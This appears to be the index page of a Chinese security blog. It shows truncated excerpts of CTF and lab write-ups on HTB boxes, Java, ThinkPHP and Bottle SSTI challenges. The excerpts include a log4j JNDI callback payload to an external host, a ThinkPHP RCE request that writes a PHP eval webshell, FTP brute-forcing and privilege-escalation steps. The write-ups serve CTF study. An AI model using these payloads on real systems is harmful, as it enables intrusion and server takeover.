HTB
ps 我个人是在美国的服务器上架设代理,在vps上连接openvpn,然后使用proxifier来转发流量,liunx就用proxychains4,这样虽然比较快,但是端口扫描就只能在服务器上做了常用nmap全端口扫描1nmap -sS -sV 10.129.88.187 -p- -T5 -vv
拿到shell拿到shell后先尝试提权看用户文件而后查看后台进程 ps -aux传fscan扫其他主机的服务
Meow
nmap扫太慢了,拿fscan扫可以发现开启了23端口telnet服务,尝试登陆
1telnet 10.129.150.178
直接root登陆,未授权。
正常可以用msf来爆破
kali自带自带子在1/usr/share/wordlists/legion/
Fawn
FTP存在匿名登陆 匿名账号anonymous
使用msf的ftp login 模块设置好字典,账号密码用空格分隔+1set USERPASS_FILE /usr/share/wordlists/legion/ftp-betterdefaultpasslist.txt
爆破出来后可以用 ...
NSS上的一些java题
[HZNUCTF 2023 final]ezjava
打开靶机其告诉我们会将uri的值计入log,且fastjson的版本为1.2.48首先这个版本的fastjson是不存在我们所俗知的fastjson反序列化漏洞的,其只存在原生反序列化漏洞,而题目说会将内容计入log,着让人想到了log4j的漏洞从jndi注入到log4j注入先尝试以下payload1${jndi:dns://v73iwpad5ajfj3cacftbwptl7cd31vpk.oastify.com}
可以发现成功进行了dns请求者就证明了此处存在JNDI注入我们再探测以下java版本1${jndi:dns://${sys:java.version}.v73iwpad5ajfj3cacftbwptl7cd31vpk.oastify.com}
可以发现其版本为1.8.0.222这个版本的java是无法直接通过ldap来进行命令执行的而题目说其fastjson的版本为1.2.48.那么我们就可以使用ldap来触发fastjson原生反序列化从而命令 ...
春秋云镜
今天不知道学点什么就氪金打了一下春秋云镜的靶场。只能说我对域的了解几乎为0。这篇文章记录一下域渗透的一些知识,和tp——cve的漏洞成因吧thinkphp5.23rce漏洞再路由随便传参数?s=asdwdwa就会发生报错,通过报错可以发现该think版本为5.23其漏洞payload如下123GET /?s=captcha_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo 'PD9waHAgZXZhbCgkX1BPU1RbMV0pO3BocGluZm8oKTs/Pg==' |base64 -d > shell.php我们直接写马通过哥斯拉来连接
其权限为www-data。我们先进行常规提权。先尝试suid提权并没有发现可以利用的命令再尝试进行sudo提权可以发现我们能够无密码使用mysql我这里贴一个sudo提权的文章Linux提权之Sudo 70种提权方法(上)Linux提权之Sudo 70种提权方法(中)Linux提权之Sudo 7 ...
GHCTF_web_wp(个人出的题)
给非预期烂了,先对各位师傅说个抱歉(难受)upload?SSTI!这题我是直接给出了源码。写了个文件上传和文件读取的逻辑。
我们看文件读取的函数就可以发现。
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455@app.route('/file/<path:filename>')def view_file(filename): try: # 1. 过滤文件名 safe_filename = secure_filename(filename) if not safe_filename: abort(400, description="无效文件名") # 2. 构造完整路径 file_path = os.path.join(app.config['UPLOAD_FOLDER' ...
CTFshow
c6bded76d588d5cd534ed93e2aa21dc15c9b1a318762a0a7de8a92f96025b2e27c8c6450f475b797d2344a810a73bf9d0b28615fbe52ff6c3a10acf70f99ab56ccf61d0b34bb3ca9b95dffb2d2671954ea6c9fcb884ba9e914bcd613952ec1893277785da55a923c7ccdf6b395d065e8c2df2e1fccf761342471bd739d8ff378be95513b72e10b40930d474bc7121c1272247d0a78d735d2310e29d4ce80900810869edb82f26fad20d67a65d0e5628c9cef3c3e223a2fa6d51691cb4ed70b583809587738be47f78289f729a63f6bfbc3708775f61a7710ba0f3d4a0339ad03be2c3e10271e27e16b80ddb01f8fb3ed753bdfab4e8fd8740 ...
java_web开发
单元测试Spring项目目录结构介绍web源码目录
我们的web源码是再src目录的java方法下,的包里的。与Spring的启动项同级或子目录
123456789101112package org.lse;import org.springframework.web.bind.annotation.*;@RestController//标识我们的类是控制器类public class HelloController { @RequestMapping("/Hello")//标识请求的路径,其下面的方法为其视图函数 public String hello(String Name) { System.out.println(Name); return "hey "+Name; }}
注解@RestController和 @RequestMapping,Spring框架有很多注解,我们需要通过注解来将普通类与构造类区分,将普通方法与我们的请求方法区分等等
reso ...
本人对于bottle框架下中无大括号ssti的一些思考以及内存马的挖掘
SimpleTemplateSimpleTemplate是bollte框架下的一款模板渲染引擎其内置了相当多的函数,也有一些不同于jinja2的trick如下
include 文件读取
这个函数我们从介绍可以发现其是导入一个子模板,并将结果导入模板,虽然他的官方文档写的是123% include('header.tpl', title='Page Title')Page Content% include('footer.tpl')但是其并没用对导入的模板文件进行检测,所以当我们输入{{include(app.py)}}就可以进行任意文件读取,好像只有web目录
% 与<%Bollte的模板是SimpleTemplate 模板引擎,里面有一个挺有趣的操作就是<%%>与%,我们可以利用上面的来执行python代码。
这样我们再SSTI时就会有很多的操作。
像如下demo。1234567891011121314from bottle import template, ...
java(整理一下,方便复习)
143d5673a003b6feb710e92aa9ea18c2e9a45deb4ad7a8d5a96100e95eddb6d5122f8cc7e0361c51656a009ef4c3fa60017aec2c10facb3264ea350559ee7aee2419cf55b1f95094eaf93dedae4b79fb6f032d9dd024cf831016660b42afb36fa054f24e509534fbf1c5882118dd6e061c35dd076f4a2351f0464e3dcd97fa0965174eec642b3d3b6457eb1c361069afaf5e83d8502a8daaef5d3881419c3e74b7b50a0653f96be011fbbc9fec7e05a26363c90b9425cd8a173238f7c80f201107b1d0a78682178061248ed7fe5e3dfa2728bd92dddbeab72c7d3e67caa23951b0d926575a4fcf18d881feb8ed16478332237e9077a8bb933 ...
N1CTF junior 2025 Web(复现)
说实话很久没水博客了,感觉自己自从大二以来对CTF的热情就越来越低,各种事情压过来,什么协会,攻防,社工,明明才大二,领导安排的任务一个比一个离谱,没有报酬还占用一堆时间,当然这些可能也是是我自己心里逃避的借口而已,但不知道为什么就是累,好了不能再这么下去了😠,开始学习。还有感谢bao师傅提供的附件Gavatar
upload.php很明显当上传的文件为空时会进入url的判断,将url指向的文件写入到$avatarPath而远程文件读取利用的函数是file_get_contents,那么我们就可以进行任意文件的读取然后写入到$avatarPath,而再读取头像的avatar.php下我们可以发现无需知道$avatarPath就可以读取到头像,虽然user[id]是随机数但是无影响
但仅仅是文件读取的话我们是无法得到flag的,这里还需要使用到CVE-2024-2961这里我利用珂字辈师傅拆解出的脚本来跑payload
https://github.com/kezibei/php-filter-iconv
读取/proc/self/maps
1php://filter/conv ...